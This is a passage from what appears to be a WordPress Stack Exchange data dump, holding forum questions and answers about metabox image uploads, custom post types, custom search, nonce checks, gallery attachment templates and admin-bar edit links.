              $uploaded_file_type = $arr_file_type['type'];&#xA;&#xA;                // Set an array containing a list of acceptable formats&#xA;                $allowed_file_types = array('image/jpg','image/jpeg','image/gif','image/png');&#xA;&#xA;                // If the uploaded file is the right format&#xA;                if(in_array($uploaded_file_type, $allowed_file_types)) {&#xA;&#xA;                    // Options array for the wp_handle_upload function. 'test_upload' =&amp;gt; false&#xA;                    $upload_overrides = array( 'test_form' =&amp;gt; false ); &#xA;&#xA;                    // Handle the upload using WP's wp_handle_upload function. Takes the posted file and an options array&#xA;                    $uploaded_file = wp_handle_upload($data, $upload_overrides);&#xA;&#xA;                    // If the wp_handle_upload call returned a local path for the image&#xA;                    if(isset($uploaded_file['file'])) {&#xA;&#xA;                        // The wp_insert_attachment function needs the literal system path, which was passed back from wp_handle_upload&#xA;                        $location = $uploaded_file['file'];&#xA;&#xA;                        // Generate a title for the image that'll be used in the media library&#xA;                        $file_title = $uploaded_file['file'];&#xA;&#xA;                        // Set up options array to add this file as an attachment&#xA;                        $attachment = array(&#xA;                            'post_mime_type' =&amp;gt; $uploaded_file_type,&#xA;                            'post_title' =&amp;gt; preg_replace('/\.[^.]+$/', '', basename($file_title)),&#xA;                            'post_content' =&amp;gt; '',&#xA;                            'post_status' =&amp;gt; 'inherit',&#xA;                            'post_parent' =&amp;gt; $post_id,&#xA;                            'guid' =&amp;gt; $uploaded_file['url']&#xA;                        );&#xA;&#xA;                        // Run the wp_insert_attachment function. This adds the file to the media library and generates the thumbnails. If you wanted to attach this image to a post, you could pass the post id as a third param and it'd magically happen.&#xA;                        $attach_id = wp_insert_attachment( $attachment, $location, $post_id );&#xA;                        require_once(ABSPATH . &quot;wp-admin&quot; . '/includes/image.php');&#xA;                        $attach_data = wp_generate_attachment_metadata( $attach_id, $location );&#xA;                        wp_update_attachment_metadata($attach_id,  $attach_data);&#xA;&#xA;                        // Before we update the post meta, trash any previously uploaded image for this post.&#xA;                        // You might not want this behavior, depending on how you're using the uploaded images.&#xA;                        $existing_uploaded_image = (int) get_post_meta($post_id,'xxxx_attached_image', true);&#xA;                        if(is_numeric($existing_uploaded_image)) {&#xA;                            wp_delete_attachment($existing_uploaded_image);&#xA;                        }&#xA;&#xA;                        // Now, update the post meta to associate the new image with the post&#xA;                        update_post_meta($post_id,'xxxx_attached_image',$attach_id);&#xA;&#xA;                        // Set the feedback flag to false, since the upload was successful&#xA;                        $upload_feedback = false;&#xA;&#xA;&#xA;                    } else { // wp_handle_upload returned some kind of error. the return does contain error details, so you can use it here if you want.&#xA;&#xA;                        $upload_feedback = 'There was a problem with your upload: '.$uploaded_file['error'];&#xA;                        update_post_meta($post_id,'xxxx_attached_image',$attach_id);&#xA;&#xA;                    }&#xA;&#xA;                } else { // wrong file type&#xA;&#xA;                    $upload_feedback = 'Please upload only image files (jpg, gif or png).';&#xA;                    update_post_meta($post_id,'xxxx_attached_image',$attach_id);&#xA;&#xA;                }&#xA;&#xA;            } else { // No file was passed&#xA;&#xA;                $upload_feedback = false;&#xA;&#xA;            }&#xA;&#xA;            // Update the post meta with any feedback&#xA;            update_post_meta($post_id,'xxxx_attached_image_upload_feedback',$upload_feedback);&#xA;&#xA;        else : // valid the input as normal&#xA;&#xA;            $data = $_POST[$meta_box['name']];&#xA;&#xA;            if(get_post_meta($post_id, $meta_box['name']) == &quot;&quot;)&#xA;                add_post_meta($post_id, $meta_box['name'], $data, true);&#xA;            elseif($data != get_post_meta($post_id, $meta_box['name'], true))&#xA;                update_post_meta($post_id, $meta_box['name'], $data);&#xA;            elseif($data == &quot;&quot;)&#xA;                delete_post_meta($post_id, $meta_box['name'], get_post_meta($post_id, $meta_box['name'], true));&#xA;&#xA;        endif;&#xA;&#xA;    }&#xA;}&#xA;&#xA;add_action('admin_menu', 'create_meta_box');&#xA;add_action('save_post', 'save_postdata');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If anyone can help I'd send a virtual thumbs up and a beer! :-) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="912" LastActivityDate="2011-07-18T22:01:15.310" Title="wp_handle_upload error &quot;Specified file failed upload test&quot; but still creates attachment?" Tags="&lt;custom-field&gt;&lt;metabox&gt;&lt;post-meta&gt;&lt;uploads&gt;" CommentCount="1" FavoriteCount="1" />
  <row Id="23377" PostTypeId="2" ParentId="23363" CreationDate="2011-07-18T23:05:53.393" Score="1" ViewCount="" Body="&lt;p&gt;You can also create a custom feed and this to WP; use the function add_feed() for add a feed to wordpress and define the content inside the feed.&#xA;A example for feed with the draftsa of WP you can see on this post &lt;a href=&quot;http://wpengineer.com/424/feed-for-drafts-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://wpengineer.com/424/feed-for-drafts-plugin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-07-18T23:05:53.393" />
  <row Id="23378" PostTypeId="1" CreationDate="2011-07-18T23:24:52.067" Score="0" ViewCount="85" Body="&lt;p&gt;Here's the website: &lt;a href=&quot;http://kunzlerip.com&quot; rel=&quot;nofollow&quot;&gt;KunzlerIP&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the bottom of the website, you see a slider using Fancybox. Each thumbnail pops up some content from an individual custom post type post. For this custom post type, I've enabled the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function post_type_lawyers() {&#xA;    register_post_type( 'lawyers',&#xA;        array( &#xA;            'label' =&amp;gt; __('Lawyers'),&#xA;            'public' =&amp;gt; true,&#xA;            'show_ui' =&amp;gt; true,&#xA;            'hierarchical' =&amp;gt; true,&#xA;            'supports' =&amp;gt; array(&#xA;                'title',&#xA;                'thumbnail',&#xA;                'page-attributes',&#xA;                'post-thumbnails',&#xA;                'custom-fields',&#xA;                'revisions',&#xA;                )&#xA;        )&#xA;    ); //end register_post_type&#xA;    register_taxonomy( 'lawyer', 'lawyers', array( 'hierarchical' =&amp;gt; true, 'label' =&amp;gt; __('Rank') ) );&#xA;}&#xA;add_action('init', 'post_type_lawyers');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The info for each pop-up is a custom field value and key. Currently, there are 4 values per individual post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do is order these custom field values in the following order:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Height&lt;/li&gt;&#xA;&lt;li&gt;Fueled By&lt;/li&gt;&#xA;&lt;li&gt;Favorite Quote&lt;/li&gt;&#xA;&lt;li&gt;Areas of Expertise&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you go through these pop-ups, you'll see that a couple of them don't follow the same order for some reason and I can't figure out how to control how they display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To call this slider, here's the query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;ul id=&quot;lawyers&quot;&amp;gt;&#xA;    &amp;lt;?php query_posts('post_type=lawyers&amp;amp;orderby=date&amp;amp;order=DESC&amp;amp;posts_per_page=-1'); while (have_posts()): the_post(); ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href=&quot;#&amp;lt;?php the_ID(); ?&amp;gt;&quot; class=&quot;fancybox&quot;&amp;gt;&amp;lt;?php the_title(); echo the_category(); if ( has_post_thumbnail() ) { the_post_thumbnail(); } ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;div id=&quot;&amp;lt;?php the_ID(); ?&amp;gt;&quot; class=&quot;profile&quot;&amp;gt;&amp;lt;?php if ( has_post_thumbnail() ) { the_post_thumbnail('large', array('class' =&amp;gt; 'baseball')); } ?&amp;gt;&amp;lt;h3&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h3&amp;gt;&amp;lt;?php echo(the_meta()); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does it have something to do with &lt;code&gt;the_meta()&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="6000" LastEditorUserId="6000" LastEditorDisplayName="" LastEditDate="2011-07-19T01:46:55.050" LastActivityDate="2011-08-18T17:26:38.747" Title="How can I sort the order of multiple custom field values in a custom post type?" Tags="&lt;custom-post-types&gt;&lt;php&gt;&lt;custom-field&gt;&lt;sort&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="23379" PostTypeId="1" CreationDate="2011-07-18T23:40:45.057" Score="0" ViewCount="19" Body="&lt;p&gt;1) I'm looking for a some theme or pluging that has a sort of ranking system, or some &quot;+1&quot; for content they like. Let me show you an example. Lets say I have 4 different things on a post of mines that I want rated by my users. I want the things to be listed in order of much of ratings rated positively. For example, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Item A      +8 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Item B      +5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Item C      +4 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Item D      +1 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if a new user would come to the site, they could just hit whatever item they like it and it would get a +1 and it would move the item up or down on the list. No need to register to vote. And it wouldn't be related to Google +1  or facebook or anything. Anyone seen something like this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Also looking for another, separate theme where uses must register, so that they can upload content like images and short articles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know something like this, thanks&lt;/p&gt;&#xA;" OwnerUserId="6133" LastEditorUserId="6133" LastEditorDisplayName="" LastEditDate="2011-07-18T23:48:41.993" LastActivityDate="2011-07-18T23:48:41.993" Title="Has anyone know wordpress themes/plugin for this" Tags="&lt;wordpress.com&gt;" />
  <row Id="23380" PostTypeId="1" AcceptedAnswerId="23383" CreationDate="2011-07-18T23:46:37.883" Score="0" ViewCount="40" Body="&lt;p&gt;I am looking for a gallery plugin that will allow users to comment on each individual photo as opposed to the entire gallery. I have tried &lt;a href=&quot;http://wordpress.org/extend/plugins/lazyest-gallery/&quot; rel=&quot;nofollow&quot;&gt;Lazyest Gallery&lt;/a&gt;; however, it doesn't seem to be integrating well with another plugin I have installed called &lt;a href=&quot;http://wordpress.org/extend/plugins/facebook-comments-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Facebook Comments for WordPress&lt;/a&gt; which I'm using to replace the default WordPress commenting system. Does such a plugin exist? Or perhaps there is a better solution? What do you guys think?&lt;/p&gt;&#xA;" OwnerUserId="3714" LastActivityDate="2011-07-19T00:11:15.073" Title="Any gallery plugins that allow commenting on single images?" Tags="&lt;plugins&gt;&lt;gallery&gt;" AnswerCount="1" />
  <row Id="23381" PostTypeId="1" AcceptedAnswerId="24146" CreationDate="2011-07-19T00:06:01.627" Score="1" ViewCount="87" Body="&lt;p&gt;I have a custom search which is a form that submits to the same page and uses wp_query to filter the results for a jobs site that I would also like the keyword search to also search in custom fields and a custom taxonomy but I am unsure how to use posts_join to do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to allow the user to type in the reference number into the keyword box and for it to search in all custom fields and the custom taxonomy but not filter the results as they won't always match so if i search for a skill i dont want it to not return results if it doesnt match the skill custom field as the keyword maybe in the main description&lt;/p&gt;&#xA;&#xA;&lt;p&gt;does that make sense?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;I found this code: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2623/include-custom-taxonomy-term-in-search&quot;&gt;Include custom taxonomy term in search&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it doesnt work correctly for some reason rather than bringing back 11 results it is showing 114 so somethihng is not quite right Hover it is searching in the custom taxonomy so this is a starting point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just need it to search the custom taxonomy and custom fields but fix the amount of results&lt;/p&gt;&#xA;" OwnerUserId="6224" LastEditorUserId="6224" LastEditorDisplayName="" LastEditDate="2011-07-22T10:35:18.413" LastActivityDate="2011-07-26T19:38:18.647" Title="how to search in custom fields &amp; custom taxonomy for custom search" Tags="&lt;custom-taxonomy&gt;&lt;custom-field&gt;&lt;wp-query&gt;&lt;search&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="23382" PostTypeId="2" ParentId="23293" CreationDate="2011-07-19T00:06:57.540" Score="0" ViewCount="" Body="&lt;p&gt;The Event Calendar: &lt;a href=&quot;http://wordpress.org/extend/plugins/the-events-calendar/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/the-events-calendar/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you need PSD to Wordpress help I can be of service. Click on my name, head over to my site and shoot me an email via the contact form. &lt;/p&gt;&#xA;" OwnerUserId="3482" LastActivityDate="2011-07-19T00:06:57.540" />
  <row Id="23383" PostTypeId="2" ParentId="23380" CreationDate="2011-07-19T00:11:15.073" Score="1" ViewCount="" Body="&lt;p&gt;Usually your Wordpress theme will have an &quot;attachments.php&quot; page that would have a &quot;single view&quot; of the image in question. For an example: &lt;a href=&quot;http://twentyelevenphoto.wordpress.com/2011/05/25/an-image/mcm_5276/&quot; rel=&quot;nofollow&quot;&gt;http://twentyelevenphoto.wordpress.com/2011/05/25/an-image/mcm_5276/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That gives you a &quot;single&quot; view of your image as well as comments. To test to see if your site has this, create a gallery and make sure to check &quot;Attachment Page&quot; when setting the Link Thumbnail to option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/qu5H9.jpg&quot; alt=&quot;Gallery Image Options&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then view the post, click on the gallery image and it should take you to that images single page. &lt;/p&gt;&#xA;" OwnerUserId="3482" LastActivityDate="2011-07-19T00:11:15.073" CommentCount="2" />
  <row Id="23384" PostTypeId="2" ParentId="23344" CreationDate="2011-07-19T02:36:14.077" Score="1" ViewCount="" Body="&lt;p&gt;I believe the problem lies in the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($_POST['reviews-nonce'])){&#xA;    if ( !wp_verify_nonce( $_POST['reviews-nonce'], 'reviews-nonce' ) )&#xA;        return;&#xA;}else{return;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Good job checking for the nonce; however, the nonce name is incorrect. In the HTML form, you specify:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;reviews_noncename&quot; id=&quot;reviews_noncename&quot; value=&quot;' . wp_create_nonce( 'reviews-nonce' ) . '&quot; /&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The name of the nonce field is &lt;code&gt;reviews_noncename&lt;/code&gt; not &lt;code&gt;reviews-nonce&lt;/code&gt;. So, I believe you can correct the code within the save function to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($_POST['reviews_noncename'])){&#xA;    if ( !wp_verify_nonce( $_POST['reviews_noncename'], 'reviews-nonce' ) )&#xA;        return;&#xA;}else{return;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think this will fix your problem.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-07-19T02:36:14.077" CommentCount="1" />
  <row Id="23385" PostTypeId="1" CreationDate="2011-07-19T02:46:59.083" Score="1" ViewCount="41" Body="&lt;p&gt;I created a gallery in my Photos page and ticked &quot;Link Images to Attachment Page&quot; but when I click on the images, they stay on the same default page.php template. Shouldn't the image open up in the image.php template? Any ideas on what I can be doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a copy of my image.php just in case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php get_header();?&amp;gt;&#xA;&#xA;        &amp;lt;section id=&quot;content&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;            &amp;lt;article class=&quot;post&quot; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_permalink($post-&amp;gt;post_parent); ?&amp;gt;&quot; rev=&quot;attachment&quot;&amp;gt;&amp;lt;?php echo get_the_title($post-&amp;gt;post_parent); ?&amp;gt;&amp;lt;/a&amp;gt; &amp;amp;raquo; &amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;section class=&quot;entry&quot;&amp;gt;&#xA;                    &amp;lt;p class=&quot;attachment&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo wp_get_attachment_url($post-&amp;gt;ID); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo wp_get_attachment_image( $post-&amp;gt;ID, 'medium' ); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;div class=&quot;caption&quot;&amp;gt;&#xA;                        &amp;lt;?php if ( !empty($post-&amp;gt;post_excerpt) ) the_excerpt(); // this is the &quot;caption&quot; ?&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;?php the_content(); ?&amp;gt;&#xA;&#xA;                &amp;lt;/section&amp;gt;&#xA;            &amp;lt;/article&amp;gt;&#xA;&#xA;        &amp;lt;?php comments_template(); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php endwhile; else: ?&amp;gt;&#xA;&#xA;            &amp;lt;p&amp;gt;Sorry, no attachments matched your criteria.&amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;/section&amp;gt;&#xA;&#xA;        &amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;        &amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is a copy of the html for the gallery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;gallery galleryid-818 gallery-columns-3 gallery-size-thumbnail&quot; id=&quot;gallery-1&quot;&amp;gt;&amp;lt;dl class=&quot;gallery-item&quot;&amp;gt;&#xA;        &amp;lt;dt class=&quot;gallery-icon&quot;&amp;gt;&#xA;            &amp;lt;a title=&quot;000&quot; href=&quot;http://mysite.com/test/photos/attachment/000/&quot;&amp;gt;&amp;lt;img width=&quot;150&quot; height=&quot;150&quot; title=&quot;000&quot; alt=&quot;000&quot; class=&quot;attachment-thumbnail&quot; src=&quot;http://mysite.com/test/wp-content/uploads/2011/06/000-150x150.gif&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/dt&amp;gt;&amp;lt;/dl&amp;gt;&amp;lt;dl class=&quot;gallery-item&quot;&amp;gt;&#xA;        &amp;lt;dt class=&quot;gallery-icon&quot;&amp;gt;&#xA;            &amp;lt;a title=&quot;fff&quot; href=&quot;http://mysite.com/test/photos/attachment/fff/&quot;&amp;gt;&amp;lt;img width=&quot;150&quot; height=&quot;150&quot; title=&quot;fff&quot; alt=&quot;fff&quot; class=&quot;attachment-thumbnail&quot; src=&quot;http://mysite.com/test/wp-content/uploads/2011/06/fff-150x150.gif&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/dt&amp;gt;&amp;lt;/dl&amp;gt;&amp;lt;dl class=&quot;gallery-item&quot;&amp;gt;&#xA;        &amp;lt;dt class=&quot;gallery-icon&quot;&amp;gt;&#xA;            &amp;lt;a title=&quot;plate with 5&quot; href=&quot;http://mysite.com/test/photos/attachment/plate-with-5/&quot;&amp;gt;&amp;lt;img width=&quot;150&quot; height=&quot;150&quot; title=&quot;plate with 5&quot; alt=&quot;plate with 5&quot; class=&quot;attachment-thumbnail&quot; src=&quot;http://mysite.com/test/wp-content/uploads/2011/06/plate-with-5-150x150.jpg&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/dt&amp;gt;&amp;lt;/dl&amp;gt;&amp;lt;br style=&quot;clear: both&quot;&amp;gt;&amp;lt;dl class=&quot;gallery-item&quot;&amp;gt;&#xA;        &amp;lt;dt class=&quot;gallery-icon&quot;&amp;gt;&#xA;            &amp;lt;a title=&quot;reference&quot; href=&quot;http://mysite.com/test/photos/attachment/reference/&quot;&amp;gt;&amp;lt;img width=&quot;150&quot; height=&quot;150&quot; title=&quot;reference&quot; alt=&quot;reference&quot; class=&quot;attachment-thumbnail&quot; src=&quot;http://mysite.com/test/wp-content/uploads/2011/06/reference-150x150.png&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/dt&amp;gt;&amp;lt;/dl&amp;gt;&amp;lt;dl class=&quot;gallery-item&quot;&amp;gt;&#xA;        &amp;lt;dt class=&quot;gallery-icon&quot;&amp;gt;&#xA;            &amp;lt;a title=&quot;test&quot; href=&quot;http://mysite.com/test/photos/attachment/test/&quot;&amp;gt;&amp;lt;img width=&quot;150&quot; height=&quot;150&quot; title=&quot;test&quot; alt=&quot;test&quot; class=&quot;attachment-thumbnail&quot; src=&quot;http://mysite.com/test/wp-content/uploads/2011/06/test-150x150.jpg&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/dt&amp;gt;&amp;lt;/dl&amp;gt;&amp;lt;dl class=&quot;gallery-item&quot;&amp;gt;&#xA;        &amp;lt;dt class=&quot;gallery-icon&quot;&amp;gt;&#xA;            &amp;lt;a title=&quot;test-24&quot; href=&quot;http://mysite.com/test/photos/attachment/test-24/&quot;&amp;gt;&amp;lt;img width=&quot;150&quot; height=&quot;150&quot; title=&quot;test-24&quot; alt=&quot;test-24&quot; class=&quot;attachment-thumbnail&quot; src=&quot;http://mysite.com/test/wp-content/uploads/2011/06/test-24-150x150.gif&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/dt&amp;gt;&amp;lt;/dl&amp;gt;&amp;lt;br style=&quot;clear: both&quot;&amp;gt;&amp;lt;dl class=&quot;gallery-item&quot;&amp;gt;&#xA;        &amp;lt;dt class=&quot;gallery-icon&quot;&amp;gt;&#xA;            &amp;lt;a title=&quot;test-pilot&quot; href=&quot;http://mysite.com/test/photos/attachment/test-pilot/&quot;&amp;gt;&amp;lt;img width=&quot;150&quot; height=&quot;150&quot; title=&quot;test-pilot&quot; alt=&quot;test-pilot&quot; class=&quot;attachment-thumbnail&quot; src=&quot;http://mysite.com/test/wp-content/uploads/2011/06/test-pilot-150x150.png&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/dt&amp;gt;&amp;lt;/dl&amp;gt;&#xA;        &amp;lt;br style=&quot;clear: both;&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3714" LastActivityDate="2011-07-19T02:46:59.083" Title="Clicking on gallery images doesn't go to image.php page" Tags="&lt;gallery&gt;" CommentCount="3" />
  <row Id="23386" PostTypeId="1" CreationDate="2011-07-19T02:58:32.750" Score="1" ViewCount="91" Body="&lt;p&gt;I'd like to be able to edit a Page or Post that I'm on in Wordpress rather than go to the admin panel on left and find the page or post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I somehow think it used to be there, but when I navigate to a page, it's not in the Top Admin Menu options.&lt;/p&gt;&#xA;" OwnerUserId="4088" LastActivityDate="2011-08-06T00:54:38.003" Title="Edit Page or Post from Top Admin Bar" Tags="&lt;admin-menu&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="23387" PostTypeId="1" AcceptedAnswerId="23496" CreationDate="2011-07-19T04:33:42.900" Score="3" ViewCount="97" Body="&lt;p&gt;I want the exact output of &lt;a href=&quot;http://www.liveurbandenver.com/Athmar-park.php&quot; rel=&quot;nofollow&quot;&gt;this site&lt;/a&gt;. I want to edit the marker and hover options in the Google map, but I don't know how to do that. Please also list any ideas for Google Map plugins&lt;/p&gt;&#xA;" OwnerUserId="5669" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-07-19T19:07:19.293" LastActivityDate="2011-07-28T04:34:16.717" Title="Integrating Google Maps with custom marker and hover?" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;google-maps&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="23388" PostTypeId="2" ParentId="21914" CreationDate="2011-07-19T04:38:51.293" Score="0" ViewCount="" Body="&lt;p&gt;use &lt;a href=&quot;http://wordpress.org/extend/plugins/iframe&quot; rel=&quot;nofollow&quot;&gt;iframe&lt;/a&gt; plugin and insert this link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;iframe width=&quot;425&quot; height=&quot;350&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot; marginheight=&quot;0&quot; marginwidth=&quot;0&quot; src=&quot;http://maps.google.com.au/maps?f=q&amp;amp;amp;source=s_q&amp;amp;amp;hl=en&amp;amp;amp;geocode=&amp;amp;amp;q=Matsuri,+614+Crown+St,+Surry+Hills+2010&amp;amp;amp;aq=&amp;amp;amp;sll=-25.335448,135.745076&amp;amp;amp;sspn=42.969351,86.044922&amp;amp;amp;ie=UTF8&amp;amp;amp;hq=Matsuri,&amp;amp;amp;hnear=614+Crown+St,+Surry+Hills+New+South+Wales+2010&amp;amp;amp;ll=-33.890226,151.213337&amp;amp;amp;spn=0.006295,0.006295&amp;amp;amp;output=embed&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;small&amp;gt;&amp;lt;a href=&quot;http://maps.google.com.au/maps?f=q&amp;amp;amp;source=embed&amp;amp;amp;hl=en&amp;amp;amp;geocode=&amp;amp;amp;q=Matsuri,+614+Crown+St,+Surry+Hills+2010&amp;amp;amp;aq=&amp;amp;amp;sll=-25.335448,135.745076&amp;amp;amp;sspn=42.969351,86.044922&amp;amp;amp;ie=UTF8&amp;amp;amp;hq=Matsuri,&amp;amp;amp;hnear=614+Crown+St,+Surry+Hills+New+South+Wales+2010&amp;amp;amp;ll=-33.890226,151.213337&amp;amp;amp;spn=0.006295,0.006295&quot; style=&quot;color:#0000FF;text-align:left&quot;&amp;gt;View Larger Map&amp;lt;/a&amp;gt;&amp;lt;/small&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-07-19T04:38:51.293" />
  <row Id="23389" PostTypeId="2" ParentId="23386" CreationDate="2011-07-19T04:47:14.747" Score="2" ViewCount="" Body="&lt;p&gt;Typically most themes will include an edit link on the post/page itself that takes you directly to the backend to edit the post. If not, you can always add it yourself with code similar to the following in single.php, page.php, etc.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php edit_post_link('(Edit this post)', '&amp;lt;p&amp;gt;', '&amp;lt;/p&amp;gt;'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/edit_post_link&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/edit_post_link&lt;/a&gt; for more details.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, check out some of the in-place editing plugins that exist such as &lt;a href=&quot;http://wordpress.org/extend/plugins/front-end-editor/&quot; rel=&quot;nofollow&quot;&gt;Front-end Editor&lt;/a&gt; that allow you to modify posts without even entering the backend editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Update:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretically, you could manually add the link to edit pages in manually using code similar to the following. This may be necessary due to the bug mentioned here in the comments.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_admin_bar_link() {&#xA;    global $wp_admin_bar;&#xA;    global $post;&#xA;    if ( !is_super_admin() || !is_admin_bar_showing() )&#xA;        return;&#xA;    if ( is_single() )&#xA;    $wp_admin_bar-&amp;gt;add_menu( array(&#xA;        'id' =&amp;gt; 'edit_fixed',&#xA;        'parent' =&amp;gt; false,&#xA;        'title' =&amp;gt; __( 'Edit This'),&#xA;        'href' =&amp;gt; get_edit_post_link($post-&amp;gt;id)&#xA;    ) );&#xA;}&#xA;add_action( 'wp_before_admin_bar_render', 'my_admin_bar_link' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This can be added to your theme's functions.php. This is untested, but the idea is sound. May still be affected by the same bug. &lt;/p&gt;&#xA;" OwnerUserId="7105" LastEditorUserId="7105" LastEditorDisplayName="" LastEditDate="2011-07-25T02:06:19.293" LastActivityDate="2011-07-25T02:06:19.293" CommentCount="6" />
